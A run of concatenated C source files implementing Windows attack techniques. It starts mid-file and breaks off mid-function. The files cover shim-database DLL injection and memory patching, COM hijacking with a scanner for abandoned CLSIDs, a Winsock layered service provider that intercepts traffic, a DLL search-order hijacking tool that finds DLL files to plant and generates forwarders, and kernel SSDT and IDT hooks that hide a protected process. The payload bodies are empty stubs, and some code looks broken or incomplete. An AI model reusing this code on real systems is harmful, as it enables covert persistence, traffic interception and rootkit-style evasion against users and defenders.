__declspec(dllexport) BOOL WINAPI ImeRegisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeUnregisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) UINT WINAPI ImeGetRegisterWordStyle(UINT nItem, LPSTYLEBUFW lpStyleBuf) { return 0; }
__declspec(dllexport) UINT WINAPI ImeEnumRegisterWord(REGISTERWORDENUMPROCW lpfnEnumProc, LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString, LPVOID lpData) { return 0; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
ImePayload();
}
return TRUE;
}
#endif
#include <windows.h>
#include <stdio.h>
typedef HANDLE (WINAPI *SdbCreateDatabase_t)(LPCWSTR path, DWORD type);
typedef void (WINAPI *SdbCloseDatabaseWrite_t)(HANDLE db);
typedef DWORD (WINAPI *SdbBeginWriteListTag_t)(HANDLE db, DWORD tag);
typedef BOOL (WINAPI *SdbEndWriteListTag_t)(HANDLE db, DWORD tagId);
typedef BOOL (WINAPI *SdbWriteStringTag_t)(HANDLE db, DWORD tag, LPCWSTR value);
typedef BOOL (WINAPI *SdbWriteDWORDTag_t)(HANDLE db, DWORD tag, DWORD value);
typedef BOOL (WINAPI *SdbWriteBinaryTag_t)(HANDLE db, DWORD tag, BYTE* data, DWORD size);
#define TAG_DATABASE 0x7001
#define TAG_LIBRARY 0x7002
#define TAG_EXE 0x7007
#define TAG_SHIM_REF 0x7008
#define TAG_PATCH_REF 0x7009
#define TAG_PATCH 0x700A
#define TAG_NAME 0x6001
#define TAG_APP_NAME 0x6006
#define TAG_DLLFILE 0x6003
#define TAG_OS_PLATFORM 0x4023
#define TAG_PATCH_BITS 0x9002
#define TAG_COMMAND_LINE 0x6008
BOOL CreateInjectDllSdb(const WCHAR* sdbPath, const WCHAR* targetExe, const WCHAR* dllToInject) {
HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
if (!hApphelp) return FALSE;
SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
SdbBeginWriteListTag_t pBeginList = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
SdbEndWriteListTag_t pEndList = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
SdbWriteStringTag_t pWriteString = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
SdbWriteDWORDTag_t pWriteDword = (SdbWriteDWORDTag_t)GetProcAddress(hApphelp, "SdbWriteDWORDTag");
if (!pCreate || !pClose || !pBeginList || !pEndList || !pWriteString) {
FreeLibrary(hApphelp);
return FALSE;
}
HANDLE hSdb = pCreate(sdbPath, 2);
if (!hSdb || hSdb == INVALID_HANDLE_VALUE) { FreeLibrary(hApphelp); return FALSE; }
DWORD dbTag = pBeginList(hSdb, TAG_DATABASE);
pWriteString(hSdb, TAG_NAME, L"CustomShimDB");
pWriteDword(hSdb, TAG_OS_PLATFORM, 1);
DWORD libTag = pBeginList(hSdb, TAG_LIBRARY);
DWORD shimTag = pBeginList(hSdb, 0x700A);
pWriteString(hSdb, TAG_NAME, L"InjectDll");
pWriteString(hSdb, TAG_DLLFILE, L"InjectDll.dll");
pEndList(hSdb, shimTag);
pEndList(hSdb, libTag);
DWORD exeTag = pBeginList(hSdb, TAG_EXE);
pWriteString(hSdb, TAG_NAME, targetExe);
pWriteString(hSdb, TAG_APP_NAME, L"TargetApp");
DWORD refTag = pBeginList(hSdb, TAG_SHIM_REF);
pWriteString(hSdb, TAG_NAME, L"InjectDll");
pWriteString(hSdb, TAG_COMMAND_LINE, dllToInject);
pEndList(hSdb, refTag);
pEndList(hSdb, exeTag);
pEndList(hSdb, dbTag);
pClose(hSdb);
FreeLibrary(hApphelp);
return TRUE;
}
BOOL InstallSdb(const WCHAR* sdbPath) {
HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
if (!hApphelp) return FALSE;
typedef BOOL (WINAPI *SdbInstallDB_t)(LPCWSTR, DWORD);
SdbInstallDB_t p = (SdbInstallDB_t)GetProcAddress(hApphelp, "SdbInstallDB");
BOOL r = p ? p(sdbPath, 0) : FALSE;
FreeLibrary(hApphelp);
return r;
}
typedef struct { DWORD rva; BYTE* patchBytes; DWORD patchSize; } MEMORY_PATCH;
BOOL CreateMemPatchSdb(const WCHAR* sdbPath, const WCHAR* targetExe, MEMORY_PATCH* patches, DWORD count) {
HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
if (!hApphelp) return FALSE;
SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
SdbBeginWriteListTag_t pBegin = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
SdbEndWriteListTag_t pEnd = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
SdbWriteStringTag_t pStr = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
SdbWriteBinaryTag_t pBin = (SdbWriteBinaryTag_t)GetProcAddress(hApphelp, "SdbWriteBinaryTag");
HANDLE hSdb = pCreate(sdbPath, 2);
if (!hSdb) { FreeLibrary(hApphelp); return FALSE; }
DWORD db = pBegin(hSdb, TAG_DATABASE);
pStr(hSdb, TAG_NAME, L"MemPatchDB");
DWORD lib = pBegin(hSdb, TAG_LIBRARY);
for (DWORD i = 0; i < count; i++) {
DWORD pt = pBegin(hSdb, TAG_PATCH);
WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
pStr(hSdb, TAG_NAME, nm);
DWORD sz = 8 + patches[i].patchSize;
BYTE* bits = (BYTE*)calloc(1, sz);
*(DWORD*)bits = patches[i].rva;
*(DWORD*)(bits+4) = patches[i].patchSize;
memcpy(bits+8, patches[i].patchBytes, patches[i].patchSize);
pBin(hSdb, TAG_PATCH_BITS, bits, sz);
free(bits);
pEnd(hSdb, pt);
}
pEnd(hSdb, lib);
DWORD exe = pBegin(hSdb, TAG_EXE);
pStr(hSdb, TAG_NAME, targetExe);
for (DWORD i = 0; i < count; i++) {
DWORD ref = pBegin(hSdb, TAG_PATCH_REF);
WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
pStr(hSdb, TAG_NAME, nm);
pEnd(hSdb, ref);
}
pEnd(hSdb, exe);
pEnd(hSdb, db);
pClose(hSdb);
FreeLibrary(hApphelp);
return TRUE;
}
int wmain() {
CreateInjectDllSdb(L"C:\\inject.sdb", L"target.exe", L"C:\\payload.dll");
InstallSdb(L"C:\\inject.sdb");
BYTE nops[] = {0x90, 0x90, 0x90, 0x90, 0x90};
MEMORY_PATCH p = {0x1234, nops, 5};
CreateMemPatchSdb(L"C:\\patch.sdb", L"target.exe", &p, 1);
return 0;
}
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
typedef struct { WCHAR clsid[64]; WCHAR dll[MAX_PATH]; BOOL abandoned; } COM_TARGET;
DWORD ScanAbandonedCom(COM_TARGET* targets, DWORD max) {
DWORD found = 0;
HKEY hRoot;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Classes\\CLSID", 0, KEY_READ, &hRoot)) return 0;
DWORD idx = 0; WCHAR clsid[64]; DWORD sz;
while (found < max) {
sz = 64;
if (RegEnumKeyExW(hRoot, idx++, clsid, &sz, NULL, NULL, NULL, NULL)) break;
WCHAR sub[128]; swprintf_s(sub, 128, L"%s\\InprocServer32", clsid);
HKEY hSub;
if (!RegOpenKeyExW(hRoot, sub, 0, KEY_READ, &hSub)) {
WCHAR dll[MAX_PATH] = {0}; DWORD ds = sizeof(dll);
if (!RegQueryValueExW(hSub, NULL, NULL, NULL, (BYTE*)dll, &ds)) {
WCHAR exp[MAX_PATH]; ExpandEnvironmentStringsW(dll, exp, MAX_PATH);
if (GetFileAttributesW(exp) == INVALID_FILE_ATTRIBUTES) {
wcscpy_s(targets[found].clsid, 64, clsid);
wcscpy_s(targets[found].dll, MAX_PATH, exp);
targets[found].abandoned = TRUE;
found++;
}
}
RegCloseKey(hSub);
}
}
RegCloseKey(hRoot);
return found;
}
BOOL InstallComHijack(const WCHAR* clsid, const WCHAR* malDll) {
WCHAR key[256];
swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s\\InprocServer32", clsid);
HKEY hk;
if (RegCreateKeyExW(HKEY_CURRENT_USER, key, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)) return FALSE;
RegSetValueExW(hk, NULL, 0, REG_SZ, (BYTE*)malDll, (DWORD)((wcslen(malDll)+1)*2));
WCHAR tm[] = L"Both";
RegSetValueExW(hk, L"ThreadingModel", 0, REG_SZ, (BYTE*)tm, sizeof(tm));
RegCloseKey(hk);
return TRUE;
}
BOOL RemoveComHijack(const WCHAR* clsid) {
WCHAR key[256];
swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s", clsid);
return !RegDeleteTreeW(HKEY_CURRENT_USER, key);
}
#ifdef BUILD_COM_PROXY
static HMODULE g_hOrig = NULL;
typedef HRESULT (WINAPI *DllGetClassObject_t)(REFCLSID, REFIID, LPVOID*);
void ComPayload() {
char exe[MAX_PATH];
GetModuleFileNameA(NULL, exe, MAX_PATH);
}
__declspec(dllexport) HRESULT WINAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
if (!g_hOrig) g_hOrig = LoadLibraryW(L"C:\\Windows\\System32\\original_com.dll");
if (g_hOrig) {
DllGetClassObject_t pOrig = (DllGetClassObject_t)GetProcAddress(g_hOrig, "DllGetClassObject");
if (pOrig) return pOrig(rclsid, riid, ppv);
}
return 0x80040111L;
}
__declspec(dllexport) HRESULT WINAPI DllCanUnloadNow(void) { return S_FALSE; }
__declspec(dllexport) HRESULT WINAPI DllRegisterServer(void) { return S_OK; }
__declspec(dllexport) HRESULT WINAPI DllUnregisterServer(void) { return S_OK; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
ComPayload();
} else if (reason == DLL_PROCESS_DETACH) {
if (g_hOrig) FreeLibrary(g_hOrig);
}
return TRUE;
}
#endif
void PrintTargets() {
const WCHAR* interesting[][2] = {
{L"{BCDE0395-E52F-467C-8E3D-C4579291692E}", L"MMDeviceEnumerator"},
{L"{4590F811-1D3A-11D0-891F-00AA004B2E24}", L"WbemLocator (WMI)"},
{L"{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A}", L"TaskScheduler"},
{L"{0002DF01-0000-0000-C000-000000000046}", L"InternetExplorer"},
};
for (int i = 0; i < 4; i++)
wprintf(L" %s -> %s\n", interesting[i][0], interesting[i][1]);
}
int wmain() {
COM_TARGET t[100]; DWORD n = ScanAbandonedCom(t, 100);
wprintf(L"Found %lu abandoned COM objects:\n", n);
for (DWORD i = 0; i < n && i < 15; i++)
wprintf(L" %s -> %s\n", t[i].clsid, t[i].dll);
wprintf(L"\nHigh-value targets:\n");
PrintTargets();
return 0;
}
#include <windows.h>
#include <winsock2.h>
#include <ws2spi.h>
#include <sporder.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "rpcrt4.lib")
BOOL InstallLsp(const WCHAR* dllPath, const WCHAR* lspName) {
WSADATA wd; WSAStartup(MAKEWORD(2, 2), &wd);
DWORD bufSize = 0;
WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
LPWSAPROTOCOL_INFOW protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
int protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
if (protoCount <= 0) { free(protoInfo); return FALSE; }
DWORD tcpId = 0, udpId = 0;
for (int i = 0; i < protoCount; i++) {
if (protoInfo[i].iAddressFamily == AF_INET && protoInfo[i].ProtocolChain.ChainLen == 1) {
if (protoInfo[i].iProtocol == IPPROTO_TCP) tcpId = protoInfo[i].dwCatalogEntryId;
if (protoInfo[i].iProtocol == IPPROTO_UDP) udpId = protoInfo[i].dwCatalogEntryId;
}
}
GUID lspGuid; UuidCreate(&lspGuid);
WSAPROTOCOL_INFOW lspProto = protoInfo[0];
lspProto.ProtocolChain.ChainLen = LAYERED_PROTOCOL;
lspProto.dwServiceFlags1 = XP1_IFS_HANDLES;
wcscpy_s(lspProto.szProtocol, WSAPROTOCOL_LEN + 1, lspName);
int err = 0;
if (WSCInstallProvider(&lspGuid, dllPath, &lspProto, 1, &err) == SOCKET_ERROR) {
free(protoInfo); return FALSE;
}
free(protoInfo); bufSize = 0;
WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
DWORD lspCatId = 0;
for (int i = 0; i < protoCount; i++)
if (!memcmp(&protoInfo[i].ProviderId, &lspGuid, sizeof(GUID)))
{ lspCatId = protoInfo[i].dwCatalogEntryId; break; }
WSAPROTOCOL_INFOW chains[2] = {0}; int chainCount = 0;
if (tcpId) {
chains[chainCount] = protoInfo[0];
chains[chainCount].ProtocolChain.ChainLen = 2;
chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
chains[chainCount].ProtocolChain.ChainEntries[1] = tcpId;
chains[chainCount].iProtocol = IPPROTO_TCP;
chains[chainCount].iSocketType = SOCK_STREAM;
chainCount++;
}
if (udpId) {
chains[chainCount] = protoInfo[0];
chains[chainCount].ProtocolChain.ChainLen = 2;
chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
chains[chainCount].ProtocolChain.ChainEntries[1] = udpId;
chains[chainCount].iProtocol = IPPROTO_UDP;
chains[chainCount].iSocketType = SOCK_DGRAM;
chainCount++;
}
GUID chainGuid; UuidCreate(&chainGuid);
WSCInstallProvider(&chainGuid, dllPath, chains, chainCount, &err);
free(protoInfo);
WSACleanup();
return TRUE;
}
#ifdef BUILD_LSP_DLL
static WSPPROC_TABLE g_nextTable = {0};
int WSPAPI LSP_WSPConnect(SOCKET s, const struct sockaddr* name, int namelen,
LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS, LPINT lpErrno)
{
if (name->sa_family == AF_INET) {
struct sockaddr_in* addr = (struct sockaddr_in*)name;
USHORT port = ntohs(addr->sin_port);
ULONG ip = ntohl(addr->sin_addr.s_addr);
}
return g_nextTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}
int WSPAPI LSP_WSPSend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno)
{
for (DWORD i = 0; i < dwBufferCount; i++) {
}
return g_nextTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,
dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}
int WSPAPI LSP_WSPRecv(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno)
{
int ret = g_nextTable.lpWSPRecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd,
lpFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
if (ret == 0 && lpNumberOfBytesRecvd && *lpNumberOfBytesRecvd > 0) {
}
return ret;
}
int WSPAPI WSPStartup(WORD wVersionRequested, LPWSPDATA lpWSPData,
LPWSAPROTOCOL_INFOW lpProtocolInfo, WSPUPCALLTABLE UpcallTable, LPWSPPROC_TABLE lpProcTable)
{
DWORD nextCatalogId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
DWORD bufSize = 0;
WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
LPWSAPROTOCOL_INFOW protos = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
int count = WSCEnumProtocols(NULL, protos, &bufSize, NULL);
WCHAR nextDllPath[MAX_PATH] = {0};
int pathLen = MAX_PATH, err = 0;
for (int i = 0; i < count; i++) {
if (protos[i].dwCatalogEntryId == nextCatalogId) {
WSCGetProviderPath(&protos[i].ProviderId, nextDllPath, &pathLen, &err);
break;
}
}
free(protos);
WCHAR expandedPath[MAX_PATH];
ExpandEnvironmentStringsW(nextDllPath, expandedPath, MAX_PATH);
HMODULE hNext = LoadLibraryW(expandedPath);
if (!hNext) return WSAEPROVIDERFAILEDINIT;
typedef int (WSPAPI *WSPStartup_t)(WORD, LPWSPDATA, LPWSAPROTOCOL_INFOW, WSPUPCALLTABLE, LPWSPPROC_TABLE);
WSPStartup_t pNextStartup = (WSPStartup_t)GetProcAddress(hNext, "WSPStartup");
if (!pNextStartup) return WSAEPROVIDERFAILEDINIT;
WSAPROTOCOL_INFOW nextInfo = *lpProtocolInfo;
nextInfo.dwCatalogEntryId = nextCatalogId;
int ret = pNextStartup(wVersionRequested, lpWSPData, &nextInfo, UpcallTable, lpProcTable);
if (ret != 0) return ret;
g_nextTable = *lpProcTable;
lpProcTable->lpWSPConnect = LSP_WSPConnect;
lpProcTable->lpWSPSend = LSP_WSPSend;
lpProcTable->lpWSPRecv = LSP_WSPRecv;
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(hModule);
return TRUE;
}
#endif
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment(lib, "dbghelp.lib")
typedef struct {
WCHAR dllName[MAX_PATH];
WCHAR plantPath[MAX_PATH];
} HIJACK_OPPORTUNITY;
DWORD AnalyzeImports(const WCHAR* pePath, HIJACK_OPPORTUNITY* results, DWORD maxResults) {
DWORD found = 0;
HANDLE hFile = CreateFileW(pePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return 0;
HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping) { CloseHandle(hFile); return 0; }
LPVOID pBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!pBase) { CloseHandle(hMapping); CloseHandle(hFile); return 0; }
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDos->e_lfanew);
DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (!importRva) goto cleanup;
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
BYTE* importPtr = NULL;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (importRva >= pSec[i].VirtualAddress &&
importRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
importPtr = (BYTE*)pBase + importRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData;
break;
}
}
if (!importPtr) goto cleanup;
const char* knownDlls[] = {
"kernel32.dll", "ntdll.dll", "user32.dll", "gdi32.dll", "advapi32.dll",
"shell32.dll", "ole32.dll", "oleaut32.dll", "msvcrt.dll", "ws2_32.dll",
"comctl32.dll", "comdlg32.dll", "rpcrt4.dll", "secur32.dll", "shlwapi.dll",
"setupapi.dll", "cfgmgr32.dll", "imm32.dll", "normaliz.dll", NULL
};
WCHAR exeDir[MAX_PATH];
wcscpy_s(exeDir, MAX_PATH, pePath);
WCHAR* lastSlash = wcsrchr(exeDir, L'\\');
if (lastSlash) *lastSlash = L'\0';
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)importPtr;
while (pImport->Name && found < maxResults) {
DWORD nameRva = pImport->Name;
char* dllNameA = NULL;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (nameRva >= pSec[i].VirtualAddress &&
nameRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
dllNameA = (char*)((BYTE*)pBase + nameRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData);
break;
}
}
if (!dllNameA) { pImport++; continue; }
BOOL isKnown = FALSE;
for (int k = 0; knownDlls[k]; k++)
if (_stricmp(dllNameA, knownDlls[k]) == 0) { isKnown = TRUE; break; }
if (!isKnown) {
WCHAR dllNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, dllNameA, -1, dllNameW, MAX_PATH);
WCHAR testPath[MAX_PATH];
swprintf_s(testPath, MAX_PATH, L"%s\\%s", exeDir, dllNameW);
if (GetFileAttributesW(testPath) == INVALID_FILE_ATTRIBUTES) {
wcscpy_s(results[found].dllName, MAX_PATH, dllNameW);
wcscpy_s(results[found].plantPath, MAX_PATH, testPath);
found++;
}
}
pImport++;
}
cleanup:
UnmapViewOfFile(pBase);
CloseHandle(hMapping);
CloseHandle(hFile);
return found;
}
BOOL GenerateForwarderDef(const WCHAR* originalDllPath, const WCHAR* outputDefPath) {
HMODULE hMod = LoadLibraryExW(originalDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hMod) return FALSE;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + pDos->e_lfanew);
DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!exportRva) { FreeLibrary(hMod); return FALSE; }
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hMod + exportRva);
DWORD* nameRvas = (DWORD*)((BYTE*)hMod + pExport->AddressOfNames);
FILE* defFile = _wfopen(outputDefPath, L"w");
if (!defFile) { FreeLibrary(hMod); return FALSE; }
char origName[64];
WideCharToMultiByte(CP_ACP, 0, wcsrchr(originalDllPath, L'\\') + 1, -1, origName, 64, NULL, NULL);
char* dot = strrchr(origName, '.'); if (dot) *dot = '\0';
fprintf(defFile, "EXPORTS\n");
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hMod + nameRvas[i]);
fprintf(defFile, " %s = %s_orig.%s\n", funcName, origName, funcName);
}
fclose(defFile);
FreeLibrary(hMod);
return TRUE;
}
void DetectHijackedModules() {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE) return;
WCHAR sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
MODULEENTRY32W me = { sizeof(me) };
if (Module32FirstW(hSnap, &me)) {
do {
if (wcsstr(me.szExePath, sysDir) == NULL) {
WCHAR expectedPath[MAX_PATH];
swprintf_s(expectedPath, MAX_PATH, L"%s\\%s", sysDir, me.szModule);
if (GetFileAttributesW(expectedPath) != INVALID_FILE_ATTRIBUTES) {
wprintf(L"[HIJACK DETECTED] %s\n Loaded: %s\n Expected: %s\n",
me.szModule, me.szExePath, expectedPath);
}
}
} while (Module32NextW(hSnap, &me));
}
CloseHandle(hSnap);
}
int wmain(int argc, WCHAR* argv[]) {
if (argc < 2) {
wprintf(L"DLL Search Order Hijacking Tool\n\n");
wprintf(L"Usage:\n");
wprintf(L" hijack scan <target.exe> - Find hijack opportunities\n");
wprintf(L" hijack def <dll> <out.def> - Generate forwarder .def\n");
wprintf(L" hijack detect - Check current process\n");
return 1;
}
if (_wcsicmp(argv[1], L"scan") == 0 && argc >= 3) {
HIJACK_OPPORTUNITY results[512];
DWORD count = AnalyzeImports(argv[2], results, 512);
wprintf(L"\nFound %lu hijackable DLLs for %s:\n\n", count, argv[2]);
for (DWORD i = 0; i < count; i++)
wprintf(L" %-30s -> %s\n", results[i].dllName, results[i].plantPath);
}
else if (_wcsicmp(argv[1], L"def") == 0 && argc >= 4) {
if (GenerateForwarderDef(argv[2], argv[3]))
wprintf(L"Generated: %s\nCompile: cl /LD proxy.c /DEF:%s\n", argv[3], argv[3]);
else
wprintf(L"Failed to generate .def\n");
}
else if (_wcsicmp(argv[1], L"detect") == 0) {
wprintf(L"Scanning loaded modules...\n");
DetectHijackedModules();
}
return 0;
}
#include <ntddk.h>
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
PLONG Base;
PULONG Count;
ULONG Limit;
PUCHAR Number;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;
PVOID FindSsdtBase() {
ULONG64 kiSystemCall = __readmsr(0xC0000082);
for (ULONG i = 0; i < 0x500; i++) {
if (*(USHORT*)((BYTE*)kiSystemCall + i) == 0x8D4C &&
*((BYTE*)kiSystemCall + i + 2) == 0x15) {
INT32 offset = *(INT32*)((BYTE*)kiSystemCall + i + 3);
PVOID ssdt = (PVOID)((BYTE*)kiSystemCall + i + 7 + offset);
return ssdt;
}
}
return NULL;
}
PVOID GetSsdtFunctionAddress(ULONG ssn) {
PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
if (!ssdt || ssn >= ssdt->Limit) return NULL;
LONG offset = ssdt->Base[ssn] >> 4;
return (PVOID)((BYTE*)ssdt->Base + offset);
}
NTSTATUS HookSsdtEntry(ULONG ssn, PVOID hookFunction, PVOID* originalFunction) {
PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
if (!ssdt || ssn >= ssdt->Limit) return STATUS_INVALID_PARAMETER;
LONG origOffset = ssdt->Base[ssn] >> 4;
*originalFunction = (PVOID)((BYTE*)ssdt->Base + origOffset);
LONG newOffset = (LONG)((BYTE*)hookFunction - (BYTE*)ssdt->Base);
LONG newEntry = (newOffset << 4) | (ssdt->Base[ssn] & 0xF);
ULONG64 cr0 = __readcr0();
__writecr0(cr0 & ~0x10000);
_disable();
InterlockedExchange(&ssdt->Base[ssn], newEntry);
_enable();
__writecr0(cr0);
return STATUS_SUCCESS;
}
typedef NTSTATUS(*fnNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
fnNtOpenProcess OriginalNtOpenProcess = NULL;
NTSTATUS HookedNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
if (ClientId && ClientId->UniqueProcess == (HANDLE)g_protectedPid) {
return STATUS_ACCESS_DENIED;
}
return OriginalNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
#include <ntddk.h>
#pragma pack(push, 1)
typedef struct _IDTENTRY64 {
USHORT OffsetLow;
USHORT Selector;
USHORT Ist : 3;
USHORT Reserved0 : 5;
USHORT Type : 4;
USHORT Reserved1 : 1;
USHORT Dpl : 2;
USHORT Present : 1;
USHORT OffsetMid;
ULONG OffsetHigh;
ULONG Reserved2;
} IDTENTRY64, *PIDTENTRY64;
typedef struct _IDTR {
USHORT Limit;
ULONG64 Base;
} IDTR;
#pragma pack(pop)
PIDTENTRY64 GetIdtBase() {
IDTR idtr;
__sidt(&idtr);
return (PIDTENTRY64)idtr.Base;
}
ULONG64 GetIdtHandlerAddress(PIDTENTRY64 entry) {
return (ULONG64)entry->OffsetLow |
((ULONG64)entry->OffsetMid << 16) |
((ULONG64)entry->OffsetHigh << 32);
}
void SetIdtHandlerAddress(PIDTENTRY64 entry, ULONG64 newHandler) {
entry->OffsetLow = (USHORT)(newHandler & 0xFFFF);
entry->OffsetMid = (USHORT)((newHandler >> 16) & 0xFFFF);
entry->OffsetHigh = (ULONG)((newHandler >> 32) & 0xFFFFFFFF);
}
ULONG64 g_originalInt1Handler = 0;
void HookIdtVector(UCHAR vector, PVOID newHandler) {
PIDTENTRY64 idt = GetIdtBase();
PIDTENTRY64 entry = &idt[vector];
g_originalInt1Handler = GetIdtHandlerAddress(entry);
_disable();
SetIdtHandlerAddress(entry, (ULONG64)newHandler);
_enable();
}
__declspec(naked) void HookedInt1Handler() {
__asm {
push rax
push rcx
push rdx
push r8
push r9
push r10
push r11
mov rax, dr6
test rax, 0xF
jz pass_through
xor rax, rax
mov dr6, rax
pass_through:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rax
jmp [g_originalInt1Handler]
}
}
void HookIdtOnAllCpus(UCHAR vector, PVOID handler) {
ULONG numCpus = KeQueryActiveProcessorCountEx(ALL_PROCESSOR_GROUPS);
for (ULONG i = 0; i < numCpus; i++) {
PROCESSOR_NUMBER procNum;
KeGetProcessorNumberFromIndex(i, &procNum);
GROUP_AFFINITY affinity = {0};
affinity.Group = procNum.Group;
